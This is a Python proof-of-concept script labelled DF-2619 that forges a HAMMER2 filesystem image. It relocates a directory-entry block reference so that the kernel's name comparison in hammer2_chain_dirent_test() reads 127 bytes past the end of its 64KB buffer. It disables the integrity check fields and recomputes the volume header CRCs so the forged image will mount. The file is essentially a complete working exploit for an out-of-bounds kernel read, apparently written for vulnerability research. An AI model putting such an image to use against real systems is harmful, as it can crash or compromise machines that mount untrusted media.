DF-2619 / forge_2619.py
#!/usr/bin/env python3 """ DF-2619 PoC image forger. Base: newfs_hammer2 -L testvol with ONE file whose name is 255 'A's. Its DIRENT bref (in the PFS root blockset) is relocated to a fresh 64KB window with data_off = WIN|0xFF80|7 (radix 7 -> chain->bytes = 128). The first 128 bytes of the name are written at WIN+0xFF80 so the bcmp in hammer2_chain_dirent_test() walks the whole in-buffer range and continues 127 bytes PAST the end of the 64KB DIO buffer looking for the remaining name bytes (namlen = 255, name_len = 255, chain->bytes = 128). Ancestor brefs (dirent, PFS inode bref, sroot bref) set to CHECK_NONE and the three volhdr CRC32Cs recomputed, per DF-2616 prior art. """ import struct, sys sys.path.insert(0, '/tmp/opencode/dfv') from h2common import * WIN = 0x2100000 # 64KB-aligned window, verified zero def main(): base, out = sys.argv[1:3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) print("[walk] volhdrs @ %s ; sroot bref @ %#x -> blk %#x (methods %#x)" % (",".join(hex(v) for v in vols), sbr['off'], sbr['data_off'] & ~RADIX_MASK, sbr['methods'])) pbr = find_pfs_bref(img, sbr, b'testvol') assert pbr, "testvol PFS not found" iblk2 = pbr['data_off'] & ~RADIX_MASK print("[walk] PFS testvol inode @ %#x (bref @ %#x methods %#x)" % (iblk2, pbr['off'], pbr['methods'])) # find the DIRENT bref of the 255-char file in the PFS blockset dirent = None fileino = None for i in range(SET_COUNT): br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF) print("[walk] PFS slot%d: type=%d key=%#018x data_off=%#x namlen=%s" % (i, br['type'], br['key'], br['data_off'], br['namlen'])) if br['type'] == T_DIRENT: dirent = br elif br['type'] == T_INODE: fileino = br assert dirent and dirent['namlen'] == 255, \ "want DIRENT namlen=255, got %s" % (dirent and dirent['namlen']) assert fileino, "file inode bref not found" # sanity: target window empty assert all(b == 0 for b in img[WIN:WIN + 0x10000]), "window not empty" # forge img[WIN + 0xFF80: WIN + 0xFF80 + 128] = b'A' * 128 # in-buffer name bytes struct.pack_into('<Q', img, dirent['off'] + 0x20, WIN | 0xFF80 | 7) struct.pack_into('<B', img, dirent['off'] + 0x01, 0x00) # CHECK_NONE struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) # PFS inode bref for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot bref recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] DIRENT bref @ %#x: data_off %#x -> %#x (radix 7, 128B block " "at window tail 0xFF80; bcmp of 255B reads 127B past DIO end)" % (dirent['off'], dirent['data_off'], WIN | 0xFF80 | 7)) print("[+] wrote %s" % out) if __name__ == '__main__': main() |